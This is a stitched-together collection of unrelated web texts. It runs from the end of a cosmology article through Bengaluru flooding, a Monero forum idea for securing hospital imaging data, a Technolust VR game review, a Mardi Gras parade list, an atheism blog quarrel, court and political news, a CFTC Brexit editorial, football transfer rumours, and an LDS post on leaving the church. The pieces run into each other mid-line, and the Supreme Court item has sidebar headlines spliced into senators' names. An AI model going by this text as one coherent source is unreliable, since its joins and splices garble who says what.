For Freedman, now a dean of the field, the only solution to the squabble is to fight fire with fire—with new observations of the universe. She and Madore are now preparing a separate measurement calibrated not just with cepheids, but other types of variable stars and bright red giants—using an automated telescope only 30 centimeters across to study the nearest examples, and the Hubble and Spitzer space telescopes to monitor them in remote galaxies. If she could handle the dark and stormy Sandage, she's ready to stand with Riess and answer the brash challenge from the Planck team. "The message was ‘You guys are wrong.’ Well, maybe," she says, chuckling. "We'll see."
*Correction, 9 March, 3:24 p.m.: A previous version of this story mistakenly stated that the gravitational lens technique relies on a galaxy cluster. In fact, single massive galaxies are used.By now, the degradation of Bengaluru as an urban centre is as well known as its reputation as ”the mecca of startups” and “the Silicon Valley of India.” And this year’s monsoon has sealed that infamy.
Incessant rains over the last few weeks have turned the city into a nightmare for its residents. So much so that, besides the overflowing drains and halted public transport, residents have even had to bring out their own boats to commute, turning a long-running joke into reality. At least 16 people have lost their lives this season, while many others have been forced to remain indoors for several days due to heavy flooding.
To be fair, 2017 has been the city’s wettest year in at least 115 years, according to the India Meteorological Department (IMD). An already crumbling urban infrastructure and drainage system could hardly bear such downpour.
While the local government has come up with the usual justifications and promises to do better next time, citizens are marooned and venting their anger and helplessness on social media.
On Oct. 06, a Facebook user, Sarritaa P Ponnappa, uploaded a video of a boat carrying out rescue operations Koramangala, an unthinkable situation for the posh south Bengaluru neighbourhood known for its popular restaurants, elite colleges, and skyrocketing real estate prices.
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Twitter is also filled with images and videos of waterlogging on roads, and houses and offices being flooded.
Ranked among the world’s 25 most high-tech cities, Bengaluru is home to the India headquarters of global tech giants like Microsoft, IBM, Infosys, and Wipro. It also hosts nearly 30% of the country’s startups, including posterboys like Flipkart and Ola. Karnataka is the fifth-largest state in India by gross domestic product, accounting for around 7% of the country’s GDP, a big chunk of which comes from its capital Bengaluru.
But almost every other year, rains lead to severe waterlogging, traffic jams, and disruptions in cellphone connectivity and power—besides deaths.
On Oct. 15, Karnataka’s chief minister Siddaramaiah said the city simply could not cope with such a downpour. “During the last 60 days, it has rained on 46 days. The drains and stormwater drains do not have the capacity to withstand so much rain,” he said. As expected, he blamed the previous governments for their failure on the infrastructure front.
His own government, he said, had assigned Rs800 crore ($123.6 million) to build 350 kilometres of drains in the city’s worst-hit areas.
Meanwhile, if it doesn’t stop raining, Bengaluru is in for a catastrophe. According to the IMD, the city currently faces a “unique weather system” wherein the southwest monsoon has extended its stay and the northeast monsoon is expected to arrive soon.I'm going to have to give you a bit of background about myself before I go into my new idea for Monero (you'll see why in a sec). I'm currently interning at a hospital to be a cardiovascular technologist, and studying to become a heart cath technologist/electrophysiologist.
Today I was in a lecture and we were first talking about radio imaging system and how they've developed over the years to become a totally digitalized platform. That part of the lecture then turned into my professor talking about the importance of the HIPAA act and how the new issue with everything being digital now and days is the fact that it can become a little easier to steal records of patients. Now that could be everything from medical records, to social security numbers, and everything else about the patient. Everything now are stored on PACS (Picture Archiving and Communication Systems) servers that are used around the hospitals on computer to computer clients for the purpose of getting data transferred to the appropriate physician easily and quickly. This is done without the use of hard drives or USB's coming to play, which is benefitial due to the inconvenience of having to go retrieve them for use. The problem with this is the issue of security, and I think Monero's network could possibly be a way to help.
I'm not trying to get a crowd fund or anything, this is more specifically directed at fluffyponyza and the core dev team. I believe Monero's way of transferring currencies in a secure and private manner could help a lot of issues other than just creating a decentralized currency; it could help transferring any data in a secure and better way overall. I feel there are a lot of businesses, including hospitals, that could benefit from the secure transactions of data. This use of Monero's networking system could be brought to the table for a lot of these businesses, and put Monero's network in the spotlight for being secure, not just a way for sketchy drug dealers to transact money more anonymously.
I'm sure we all on here have heard the news that banks are now trying to use and benefit from a blockchain type of platform to help transactions of money around the world a lot easier and have a better way to track transactions. Why can't we try and present to businesses that with this type of platform, the same things that they would want from a normal blockchain platform could be achieved with even MORE security measures put in place.
Personally I think this will put Monero on the map.
I did some research on the recent PACS that are in use as of right now and this is what I found:
https://www.sectra.com/medical/about/conformance_statements/pdf/pacs_hipaa_statement_17.1.pdf
http://www.sectra.com/medical/
It looks like the sectra's platform is the current PACS that are in place at hospitals all over now. When it comes to encryption and that kind of stuff, I'm clueless; so I wanted to get this information out to you guys for the sake of striking up conversation and having new ideas being developed amongst the Monero community. Hope this gives you an "outside the box" look on things and the potential uses of Monero's networking system.
Regards,
Harpua80 SHARES Facebook Twitter Linkedin Reddit
Technolust, like many others in the cyberpunk genre, stands on the shoulders of giants. Taking cues from neo-noir staples like Blade Runner (1982) and William Gibson’s Neuromancer (1984), the adventure game makes good on its promise to deliver the lovably gritty ‘high-tech, low-life’ atmosphere that cyberpunk fans are after, but in a package that you can digest in a single sitting. The only problem: I need more. A lot more.
In Technolust you play a rebel hacker thrust into the fight against an evil corporation, one that just so happens to own the internet and all of the terminals to access it. Getting high-level access isn’t easy, but with the help of a device called a ‘red box’, you soon gain the ability to skirt around the corporation’s security protocols, and pretty much anything that stands in your way with the help of your companion AI.
Technolust dazzles with its indoor scenery, arguably the most immersive part of the whole game. Die-hard cyberpunks can easily spend a majority of their time ogling the dingy apartment dwellings, which are filled with a mix of pop culture references, decrepit late-20th century tech, and peppered with modern things like VR headsets and computer parts. Back at your apartment you can even sit on the couch and watch an old TV show as flying cars whiz by your high-rise apartment. Hanging in these spaces, you really get the sense that you’re stepping into the mind of someone who intimately understands the cyberpunk film and literary genre.
There is however a honeymoon period, one that I might have passed a while ago playing the game in its nascent form on both the DK1 and DK2 right after indie dev Blair Renaud’s successful Kickstarter campaign. For the purpose of this review (minimal spoilers ahead!) I’m going to try and delete that part of my brain that might initially gloss over the game’s raw novelty.
While spaces feel lived-in, they never quite feel alive—something you notice much more in VR than say through a desktop adventure game like Gone Home. Though no fault of its own, Technolust does its best to mitigate this with interesting scenery, real-life video of ancillary characters (that you consequently never meet), and NPCs created using 3D scanning that bring a greater sense of ‘humanness’ to the game.
It comes awfully close to simulating a real environment with real people thanks to a few clever techniques, some things that may strike you as counter intuitive on first blush. NPCs are always stationary. While not ideal, it at least doesn’t break our expectations of the near-photorealistic characters with scripted, clunky movements or ‘stupid AI’ behavior. You’ll also notice that all talking characters (besides those on video) always have some sort of mask to cover up any would-be facial movements. These aren’t at all off-putting for the duration of the game, which clocks in at around 2-hours of gameplay, but any longer and it could become gimmicky. Both piped-in video, like a running news report splayed out on screens throughout the game, and NPC voice acting are spot on, and deserve high marks for content and execution.
See Also: Review: ‘Chronos’ is a Massively Beautiful Game That Wants You to Die, and Die You Shall
Outdoor spaces are much less involved, and feel encumbered by the occasional invisible wall or conveniently placed barriers to diminish the size of map, something I remember seeing (and hating) from the early days of 3D gaming. Again, these sort of things are much more bothersome in VR than on desktop, and slightly breaks my expectations of the sort of realism Technolust craves to deliver.
As a world-renowned hacker, you’re expected to infiltrate systems with your skills, and this is addressed in a refreshingly cool way—by ‘voxelified’ third-person hacking sequences, a mini-game where you supposedly ‘jack in’ to an arcade coin-op to gain access to the next portion of the narrative. Difficulty however is laughably easy, and feels more like an ongoing tutorial that never quite gets to shine on its own. The 3D-ified retro titles in the game’s arcade—something akin to the gamers’ den from the cult classic Hackers (1995)—are the only real challenge I found in the game, and is only used once to forward the narrative. That didn’t stop me from playing and attempting to beat every single one. ‘Attempting’ being the key word here.
Technolust does so much right, especially for a title that generally shows a high level of polish, but after beating the game I was left with the sense that I hadn’t really accomplished much. The ending felt too abrupt, and I never really got a chance to feel a connection to the mission or the people in the world. I should be running for my life from the police for my involvement in a rebel hacking crew, but I don’t for a single second feel in danger of being caught, or an ounce of sorrow for the death of someone close to me. Because the narrative promised risk, but never delivers, I feel somewhat robbed of an emotional experience I know it could easily have with more dialogue and a higher difficulty setting, or some way that sweeps you gently parallel to the game’s linear path, like avoiding a police drone or having to hack your way out of jail. Outside of a single time where I almost ran out of air in a space suit, most of my sense of accomplishment comes from collecting in-game items during my quest to fulfill an open promise of ‘good things to come’ from a pawn shop monger in Chinatown. I scoured the world for cassette tapes and activated electronic surveillance birds—both of which force you to listen intently for blaring ghetto blasters and cackling robot-crows. The payback isn’t great, but I can’t say I didn’t enjoy searching the trash for robot legs and arcade tokens.
See Also: Oculus Projects Two Month Delay for Some Early Rift Pre-orders
A VR game review isn’t complete without mentioning comfort, and as far as first-person games go, Technolust is generally a comfortable experience. Closely following the hard-won precepts in the Oculus Best Practice Guide, the game gives you a default snap-turn comfort mode (with yaw stick panning planned for a future update). There aren’t too many stairs, there’s no jumping, and it features good walking and running speeds, making Technolust as comfortable as a first-person seated gaming experience can be.
In the end, I was both surprised by the cohesive world of Technolust and genuinely enjoyed the narrative, but I desperately need more of everything. As a casual fan of cyberpunk, I need more side stories, increased consequences, more interaction, longer gameplay; and all of these things are on my list for a potential Technolust 2. There’s plenty of forgiveness on all accounts though, as Renaud (aka Anticleric) is a singular developer handling a world that could potentially be monstrously big.
Now if you’ll excuse me, I’m going to hunt down that last token to get another word of wisdom from Anticleric himself.It’s the beginning of the year, which means that one of the most anticipated events in the city, Mardi Gras, is around the corner. Also known as Fat Tuesday, Mardi Gras is one day, but the carnival festivities leading up to the holiday start weeks beforehand.
Mardi Gras always falls before Ash Wednesday, which is 46 days before Easter.
Throughout the weeks of carnival, there are different Krewes that roll throughout several neighborhoods of the city, including Uptown, French Quarter and the Marigny.
This weekend in particular will be a busy weekend. Not only is All Star weekend taking place in downtown New Orleans, but between Friday, February 17, and Sunday, February 19, fifteen parades will roll in the New Orleans metro area.
Here is a list, map and synopses of the fifteen parades set to run in New Orleans this weekend, throughout the Uptown, French Quarter, and Marigny neighborhoods.
Note: If you haven’t already, now would be a great time to check out the the Curbed NOLA’s Mardi Gras bingo card, which may add some challenge to casual parade watching.
Also, here’s a hint: if you’re playing Mardi Gras bingo this weekend, you might want to catch ‘tit rex if you plan to score the micro float entry.
Friday, February 17
[Update]: in Anticipation of rainy weather, the Krewe of Oshun will start at 5:30 p.m. The Krewe of Cleopatra will follow immediately after.
Krewe of Cork - 3 p.m.
A post shared by Latrobe's On Royal (@latrobesonroyal) on May 27, 2016 at 5:43pm PDT
Founded in 2000, the Krewe of Cork rolls two Fridays before Mardi Gras. The parade is centered around wine and grape, including several original costumes, and musical selections.
Krewe of Oshun - Update: 5:30 p.m.
A post shared by Jen (@jenkarpowicz) on Jan 30, 2016 at 10:05am PST
According to Mardi Gras New Orleans, the Krewe of Oshun is named in reference to Yoruba, the goddess of love. This Krewe is known for its peacock figures and mug throws.
Krewe of Cleopatra - Update: Follows
A post shared by Shari Cox (@nanasboys46) on Jan 31, 2016 at 8:19pm PST
The Krewe of Cleopatra is an all-women carnival crew, founded in 1972. The Krewe is named after Egyptian Pharaoh, Cleopatra, who represents a virtuous woman.
Saturday, February 18
Krewe of Pontchartrain - 1 p.m.
A post shared by Cat Landrum (@catlandrum) on Jan 30, 2016 at 2:07pm PST
This New Orleans Krewe is named after Lake Pontchtrain, and its goal is to deliver a quality Mardi Gras experience. The parade features several marching band and dance troupes.
Krewe of Choctaw - Follows
A post shared by Grey Sweeney Perkins (@nolamusings) on Jan 30, 2016 at 12:53pm PST
The Krewe of Choctaw began rolling in 1939 after the Krewe purchased 10 U.S. government mail wagons, which were later converted into floats.
Krewe of Freret - Follows
A post shared by BottleCapArt (@bottlecapartcompany) on Feb 11, 2017 at 2:53pm PST
The Krewe of Freret is one of the newest Krewes to parade during the carnival season. Created by seven Loyola graduates in 2011, the parade is centered on throwing quality, hand-crafted throws created by local vendors and craftspeople.
Knights of Sparta - 6 p.m.
A post shared by Brian Plauche (@bpnola23142) on Feb 12, 2017 at 9:22am PST
Organized in 1951, and rolling since 1981, The Knights of Sparta are known for its traditional street parade, including mounted officers, traditional flambeaux and a signature, mule-drawn king’s float.
Krewe of Pygmalion
A post shared by Craig (@drmorgus) on Jan 30, 2016 at 10:13pm PST
Named after a Greek legend who crated a statue of a sea nymph, and fell hopelessly in love with it, is the Krewe of Pygmalion. The Krewe features traditional Mardi Gras throws, including beads, stuffed animals and doubloons.
‘tit Rex - 5 p.m.
A post shared by Betsey Nixon Hazard (@boohazard) on Jan 30, 2016 at 7:14pm PST
‘tit Rex is everything a Super Krewe isn’t. Inspired by one of the largest super Krewes, Bacchus, ‘tit Rex is known for maintaining the Mardi Gras experience with micro floats, which are tiny, meticulously-designed floats made from small shoeboxes, and are usually drawn by a rope.
The word ‘tit is apart of the Cajun vernacular, short for the word petite.
Krewe of Chewbacchus - 7 p.m.
A post shared by Shannon Yvette (@shannon.yvette504) on Jan 30, 2016 at 10:12pm PST
The Intergalactic Krewe of Chewbacchus is a Mardi Gras parade centered around sci-fi lovers. Many of the float themes and costumes revolve around Star Wars, Star Trek, video game characters, and aliens. The Krewe also have several signature throws including handmade beanbags, stenciled towels, and a furry bandolier.
Sunday, February 19
Mystic Krewe of Femme Fatale - 11 a.m.
A post shared by Craig (@drmorgus) on Jan 31, 2016 at 10:15am PST
The Mystic Krewe of Femme Fatale, founded in 2013, is an all-women social group that is centered around community uplift.
Krewe of Carrollton - Follows
Throw me something mister! #followyournola #kreweofcarrollton A post shared by Cheryl & Lisa-What Boundaries (@whatboundaries) on Feb 1, 2016 at 6:45am PST
Roughly 93 years ago, the Krewe of Carrollton was formed by a group of Oak Street businessmen. The Krewe of Carrollton ranks just behind Rex, Proteus and Zulu as the oldest parading organization.
Krewe of King Arthur - Follows
A post shared by J-Gru ☠ (@jengrunwald) on Feb 3, 2016 at 12:17pm PST
The ninth largest Mardi Gras Krewe in New Orleans, with over 1200 participants, is the Krewe of King Arthur, which was originally formed on the West Bank and debuted in Uptown in 2001.
Krewe of Alla - Follows
A post shared by crescentcitycharm (@crescentcitycharm) on Dec 13, 2016 at 9:49am PST
The Krewe of Alla started as an all-male Krewe on the West Bank. While moving to the Uptown parade route in 2014, this year the Krewe of Alla celebrates its 85th anniversary. The parade is known best for its handcrafted genie lamps.
Krewe of Barkus
A post shared by Effy's World (@effys_world) on Feb 1, 2016 at 11:27am PST
The Krewe of Barkus is similar to a traditional Mardi Gras parade, but it features dogs! The parade has live music, floats and, well, lots of Mardi Gras costumed pets.More Stedman and McLaren. Sorry. Fair warning, so that you can stop reading now if you’re fed up to the back teeth with them.
Stedman is annoyed that gnu atheists don’t take his and McLaren’s advice on what “will benefit the atheist movement” but instead dare to offer “disagreements and accusations that McLaren, Luna, I (and many who affiliate with us) don’t have the best interests of the atheist movement in mind.”
That’s an odd complaint. It seems like a tangent. I don’t really know what they have in mind, I know only what they do, and what they do is talk a lot of nasty smack about gnu atheists, most of which is exaggerated at best.
Then Chris does a long complaint about people thinking he agrees with every word of every guest post. Well he said of McLaren’s guest post that it was a doozy, in a good way, and that it was “a hugely informative and clear-eyed assessment of the state of the atheist movement.” Yes, I thought he pretty much agreed with it. If he doesn’t want us to think that, he could always refrain from lavishly praising the guest posts in his introductions.
My ask? That commenters here strive to see posts for what they are; that they make every attempt to assume that the author has the best of intentions and go about raising their disagreements in a way that is civil and demonstrates a genuine desire to get at the heart of the truth.
But that’s too much to ask, giving the energetically insulting tone and substance of McLaren’s post. It’s also a double standard. It’s telling commenters to be more “civil” than McLaren is.
[Note: I’m not going to go down the path of defending the more personal criticisms directed at me — I have no interest in humoring the accusations that I might not actually be an atheist, or that I don’t have the best of intentions concerning the atheist movement, for which I’ve sacrificed an incalculable amount of time, money, and energy. There’s really no reasoning with such baseless criticism.]
Self-important and self-pitying both at once. Again: I don’t know what his intentions are, I know only what he does; what he does is throw mud at gnu atheists at frequent intervals. This is a crowd-pleasing thing to do, so the self-pity thing isn’t going to work.
Now McLaren.
But the anger that was returned in many of the comments (and in retort posts on other sites) was none of these things. A subset of the anger I witnessed contained no respect, no boundaries, and no rules. It was an anger that involved direct slander against me, personal attacks against Chris Stedman (for daring to give me a public forum), and repetitive attempts to silence me, dehumanize me, and control my intellectual output and my voice.
Those are very strong accusations. She gives no examples, no links, no names, no evidence. I don’t believe her. I think she made a lot of rude and inaccurate accusations about new atheists (and maybe some gnus), and got a lot of rude replies as a result. She uses her own anger to inflate the putative crimes of other people, while wrapping herself in the flag of Niceness. It didn’t work last time and it doesn’t work this time. It convinces people who already like that kind of thing, but it repulses people who already despise it.
That’s the trouble with setting yourself up as the Ambassador of Nice. It means you have to be able to perform Niceness yourself. McLaren is transparently bossy and hostile, so she made a mistake thinking she could do that. Another failed diplomatic mission.CHICAGO (CBS) — A Criminal Courts building judge’s temper flared Saturday as a Cook County prosecutor opted not to send half a dozen reputed gang members to jail for violating conditions of their parole or probation — after she had found probable cause to hold each of them for trial.
Associate Judge Peggy Chiampas couldn’t believe what she heard repeatedly from the prosecutor — that the state’s attorney’s office would not pursue charges against suspects on parole or probation, some with armed robbery or aggravated assault convictions, despite clear violations, mostly for being in the company of other known gang members despite conditions of release that forbade it. WBBM’s Bob Roberts reports.
Chiampas made sure for the record that everyone knew it was the prosecutor’s decision, not hers.
Chiampas asked if it was the state’s attorney’s policy, and called out activist Andrew Holmes, who was sitting in the courtroom’s back row to view an unrelated hearing, to be her witness.
“We have asked over and over again that the judicial system come and help with this gun violence with repeated offenders,” Holmes said afterward. “I’ve just witnessed why they’re out on the street, and I agree with that judge.”
Holmes said this is the “revolving door” that drives violent crime figures up and frustrates Police Superintendent Eddie Johnson so much.
WBBM has asked the state’s attorney’s office for comment.An editorial from CFTC Chairman Christopher Giancarlo
This article was originally published on the CFTC website.
There’s been much worry about the impact of Brexit on British and European banking and capital markets. It may seem that U.S. markets are protected from that uncertainty, but they aren’t. If the European Union mishandles Britain’s exit, the consequences for U.S. businesses and consumers could be serious.
Brexit will put London’s financial markets outside the European regulatory umbrella. As a result, the European Commission has proposed authorizing regulation of financial entities outside the EU by the European Central Bank and the European Securities and Markets Authority, the EU’s markets watchdog. The proposal would reach far beyond London. It would subject key U.S. financial institutions to European law and regulation—even when they serve U.S. customers.
One proposal would empower ESMA to demand on-site inspections of US businesses such as the Chicago Mercantile Exchange without informing its primary regulator, the US Commodity Futures Trading Commission. Another proposal would enable the ECB to impose additional regulations on those same US businesses—again without informing or consulting the CFTC.
Such overlapping and uncoordinated regulation by the EU would be disruptive, expensive and detrimental to the U.S. trading markets and economy. Imagine a football game with two quarterbacks on the field vying for control of the ball.
These proposals have the potential to affect the availability of food in American grocery stores, the cost of home heating, and mortgage interest rates. Farmers and ranchers could experience cost increases to manage the risks of their businesses from unpredictable weather to fluctuating prices in livestock feed. Without firm, exact and clear limits on their application to American businesses, these European proposals could dry up the capital necessary for growth and job creation.
The CFTC, of which I am chairman, is focused on ensuring that American financial markets thrive and are well-regulated. That cannot be done if the EU second-guesses American markets and how businesses operate—taking partial control of the American economy, or worse, letting the Europeans call the plays. The solution to sluggish growth and stagnant wages is vibrant global markets for investment, not uncoordinated and overlapping regulation.
If the U.S. accepts European regulation of American financial companies, it would set a dangerous precedent—potentially opening the door to all manner of other interference. The European Union favors a highly prescriptive and rules-based approach to financial market supervision in contrast to the U.S. principles-based approach.
Undoubtedly Brexit raises challenging issues for the EU’s regulation of its financial markets. Here in America, we have seen how burdensome economic regulation has thwarted the revival of broad-based prosperity. The American people have rejected that approach and demanded that financial markets contribute to economic recovery. The last thing Americans want is to have overseas regulators impose European costs and regulatory burdens on the American economy.West Ham United have been linked with Napoli striker Eduardo Vargas.
As reported by Chilean publication AS, West Ham United have made a loan offer for out-of-favour Napoli striker Eduardo Vargas.
The Hammers are seemingly on the lookout for a new striker addition ahead of the transfer deadline following the long-term injury to Ecuador international Enner Valencia.
According to AS, Slaven Bilic’s side have offered a loan fee in the region of £1.1 million in order to take the recent Copa America champion on loan for this season.
Wise move
Vargas has previous experience of the Premier League, having had a spell on loan at Queens Park Rangers last season where he scored four goals in 22 outings.
While his scoring record at club level hasn’t been great in the past few seasons, he clearly has an abundance of ability as he regularly finds the net on the international stage.
The 25-year-old is comfortable playing in a number of roles in the final third, and his four goals at the Copa America during the summer saw him named in the Team of the Tournament.
Competition
As mentioned in the report, West Ham aren’t the only club tracking Vargas, with La Liga outfit Villarreal having already presented a similar loan offer last week.President Trump on Wednesday said he will announce his choice for a Supreme Court nominee next week.
"I will be making my Supreme Court pick on Thursday of next week," Trump tweeted. "Thank you!"
I will be making my Supreme Court pick on Thursday of next week.Thank you! — Donald J. Trump (@realDonaldTrump) January 25, 2017
Trump's shortlist to fill the late Justice Antonin Scalia's seat is said to include Judge William Pryor of Alabama, Judge Neil Gorsuch of Colorado and Judge Thomas Hardiman of Pennsylvania.
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Republicans will need at least eight Democrats to support Trump's nominee to overcome the 60-vote filibuster hurdle.
Sen. Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE (R-Texas) said Tuesday that Republicans should fight to get Trump's coming Supreme Court nominee confirmed by any means necessary. He suggested the GOP shouldn't rule out the so-called nuclear option to reduce the threshold for confirmation.
In 2013, Democrats, who at the time held the majority in the Senate, triggered the nuclear option to confirm several of President Obama's nominees. The move did not apply to the Supreme Court.
Senate Minority Leader Charles Schumer (D-N.Y.) said recently he regrets Democrats' 2013 decision, which is now easing the confirmation of President Trump's Cabinet nominees.
On Tuesday afternoon, the president met with Senate leaders ahead of his Supreme Court announcement.
Schumer and Sen. Dianne Feinstein Dianne Emiel FeinsteinSenate confirms Trump court pick despite missing two 'blue slips' Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' MORE (D-Calif.) stressed after the meeting they want the president to pick a "mainstream" nominee to fill the high court's ninth seat.Not long after police announced that a ninth women had come forward as a victim of a serial rapist prowling South Dallas, and a few hours before they would identify 29-year-old Alan Mason as a person of interest in the assaults, residents packed into a community meeting hosted by Dallas PD at True Lee Missionary Baptist Church.
Speakers expressed frustration about a number of things: the absence of DPD Chief David Brown, whom a representative said was "out of town"; the lack of a composite sketch of the suspect; the overall slowness of the police response.
An 18-year-old woman who takes the bus to work in the wee hours of the morning would have liked a warning about the attacks much sooner--say, back when the first one was reported in June.Marc Baluda almost always votes Republican. This year, however, he’s casting his ballot for Jill Stein.
It’s not that Baluda, who is registered as an Independent, personally supports Stein, the Green Party’s nominee for president. In fact, the 44-year-old Bay Area attorney is gunning hard for Hillary Clinton to win the presidency, because he thinks Donald Trump “represents a threat to America itself, to democracy, and American values.”
But he’s still a staunch fiscal conservative. So why is he casting a vote for the darling of the remotest left wing?
When Baluda votes for Stein he’ll actually be voting on behalf of Sophie Warner, a 20-year-old biology student in Ohio. She, in turn, will be pulling the lever for his preferred candidate, Clinton, at her Cleveland Heights poll station. In other words, the two have traded votes.
The two found each other and pledged to vote on each other’s behalf on an online platform called TrumpTraders.org. “We’ll match you to voters in other states to ensure everyone gets a say and Trump doesn’t win,”
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matter where you go, you’re going to run into people that bug. Weird people are everywhere…in every church. Look at this fact as an opportunity to be Christ-like and forgive those people that are not being very nice to you…but don’t leave the Church because of it. It’s not worth depriving your kids, your friends, and everyone else within the Church…not to mention the Lord all the blessings of your presence at Church because of one oblivious person, and your choice to be offended.
2. Not Understanding The Doctrine
If you were going to help your kids build a tree fort…you probably would have them centralize their fort near or around the trunk of the tree. Unfortunately, too many people skip the basics and go right to the farthest branches of the tree to try and get a quicker, better view. The branches are weak and unestablished, and placing to much weight on them may result in a nasty fall. Just because you don’t understand something right now, doesn’t mean it isn’t true. People hear about one obscure quote here or there and jump ship. If you hear something that seems strange, ask yourself; “is it really?” Is there a possibility that it just seems strange because you haven’t heard it before? It’s our human nature to balk at things we’ve never heard before. Just don’t let your initial reaction to something you hear for the first time overpower the many times that the Holy Ghost has confirmed truth to you in the past.
People quickly forget how logical it is that the restoration took place, and how illogical it is that someone like Joseph Smith could have came up with all of it on his own. They forget about their foundation and ignore the superstructure of the gospel to focus on a few statements that have not been fully explained or understood. “God never damned anyone for believing too much” explains Joseph Smith. “But He did damn people for unbelief.” (TPJS)
Do you remember the last time you had a physical ailment and you spent all night on Google trying to diagnose yourself. Deep down you’re looking for some sort of research that gives you comfort and puts your fears to rest…but the more you research the worse you feel. Odds are, your physical diagnosis is way off track. Just ask any physician how they feel about Google. Many times, the longer you spend on Google, the farther you are from the truth when researching Mormonism. Sadly, the voices of angry people are much louder than the voices of the happy and content.
We live in the information age. You can get your hands on almost any information you desire. The Church is an open book. I hear people that are leaving the Church because they hear a “doctrine” (which is probably not even a doctrine) that was talked about long ago. Because they are just finding out about it, they assume that the Church has been lying to them or trying to “cover up” what they’ve now learned. It couldn’t be farther from the truth. All of the things that “come out” are things that the Church published themselves. It’s right there in Church publications. If the Church wanted to “cover up” they wouldn’t have printed it. Just because something isn’t emphasized in our everyday classes, doesn’t mean anyone is trying to hide it from you. We just might not have enough information on the topic and it is therefore deemphasized in order to reduce confusion. People forget that the restoration is not complete. We are in the middle of it! Just hang tight and things will be revealed.
3. Its Just Too Hard
3 hours of church? Callings? Meetings? Keeping the sabbath day holy? Tithing? Word of Wisdom? 2 year mission? These are just a few of the things that get people going down the path of leaving the Church. The church conflicts with some things that people want to do and that bugs…right? So why not search the internet for something that will somehow make the Church not true. Then I won’t have to do all that stuff…right? Look…its hard to be a Mormon. It’s not supposed to be easy. It wasn’t easy to be an early Christian, to go around drawing fishes in the sand because you were scared for your life. There are a lot of demands and a lot of perceived limitations. Joseph Smith said that “a religion that does not require the sacrifice of all things never has the power sufficient to produce the faith necessary unto life and salvation.”
For the last two years, I’ve been teaching early morning seminary. That means that I’m up at 4:30 am, prepared and ready to give a lesson to 30 plus teenagers. Then I work all day because I don’t receive any financial compensation for my Church service. I get home as soon as I can to spend time with my family and then I’ve got to get ready for another lesson and to wake up early the next day. Saturday is sometimes free, but then its off to Church on Sunday. It’s tough…but what else would I be doing with my time!
I’ve thought about this long and hard. What is the alternative to all of the things I listed above. If I didn’t go church for 3 hours on Sunday, then what would I be doing? Well…I could get in a football game. Did that make me happier? If I don’t have a calling…where do I find as many opportunities to serve others? Serving others is universally recognized by doctors and psychologists as being good for your health and a precursor to happiness. I guess callings can’t be a bad thing then. Sabbath day observance? “But it’s my only day off” you might say. Well, what better than to spend that day dedicated to spending time with family and relaxing? You’d like to be 10% richer and not pay tithing? You’d probably spend that money on something frivolous anyway like 98% of Americans do anyways. (There are studies on peoples spending habits that back that up) Why not donate to a worthy cause like the Church? “The word of wisdom keeps me from having fun!” Oh really? Do I even need to go into this one? A mission? Where would I be without this? (Me personally) On top of all of this…if your going to believe the Bible or be a Christian, then it requires you to attend Church, keep the sabbath day holy, pay a tithing, treat your body like a temple of God, and be a missionary! So even if you were going to leave the LDS church, you still have an obligation to do these things if you want to be a Bible believing Christian!
As the African proverb goes, “Smooth seas do not make skillful sailors.” If deep down your leaving because it’s too hard, then picture how hard it must have been for the early Christians to keep the faith in their day.
4. Anti-Mormon Literature
For me, much of the anti-Mormon literature that comes up is in fact more evidence of the Church being true. I have been grateful for much of it because it has caused me to reflect on issues that I did not previously consider. I’ve even become friends with the people that bring it up for discussion. It’s alright to be friends with people that disagree with you. There is no reason we can’t respect people’s opinions and still be friends.
But what you have to realize is that no anti-Mormon literature is unbiased. That is why it is called “anti”. Similarly, you’re probably not going to get an unbiased opinion from a devout Mormon either. Christ underwent the same scrutiny. The anti that was published about Him would make even the most loyal follower of Christ question their Christianity. But we don’t give it much attention because we know that it was written by His enemies.
If you’re presented with anti-Mormon literature, then its only fair that you research both sides equally and tenaciously. When I come across something “strange”, I research it and then sit on it. I ponder it. I don’t assume anything and I don’t jump to conclusions. I won’t make a rash decision on the matter. I consider all of the things that I currently accept and believe and then ask myself why I would be unwilling to believe the topic at hand.
For instance, Joseph Smith translated the Book of Mormon using a Urim and Thummim and a seer stone. That is generally known and accepted. Then someone out of the blue tries to make Joseph Smith look like a freak by painting a picture of him burying his head in some “magical hat.” A seer stone or Urim and Thummim is referenced in Exodus 28:30, 1 Samuel 28:6, Num. 27:18-21, Ezra 2:63, Neh. 7:65, Ex. 28:30, Lev. 8:8 and in Revelation 2:17. The Hebrew transliteration of the names Urim and Thummim equate to “lights” and “perfections” respectively. So think about it. If you’re translating during the day with the assistance of a stone that gives off light, then why not put your face in a hat in order to create darkness wherein the light could shine?! Would it sound less weird or more acceptable if he used a blanket over his head instead of a hat?
This is just one of the many classic examples of something that just needs to be thought through and not exaggerated. In our day we say, “don’t make a mountain out of a molehill.” But Christ said it better. Don’t “strain at a gnat and swallow a camel.”
5. Sin
Many times, sin leads people to one or more of the items listed above. As much as we don’t want to recognize it, sin is a big deal to people. Our spirits are declaring war on our flesh when we sin. We physically feel bad when we do bad things because the light which is within us has been diminished. The effects of sin can take us in one of two directions. It can humble us to repentance, or it can stir us to anger, frustration, and irritability. If a person is unwilling to repent, the natural inclination is to prove that God isn’t real or His Church isn’t true. Therefore you’re off the hook and you don’t need to feel bad anymore. Guilt is present…and it must be removed. You either remove the commandments that caused it to be a sin or you ask Christ to remove the sin. If you are too embarrassed or proud to admit your mistakes then the four items above become attractive ways out of the Church and thereby away from the guilt. It is hard to repent, so it might seem easier to justify the Church being false and find a church or way of life that doesn’t hold you accountable for your actions.
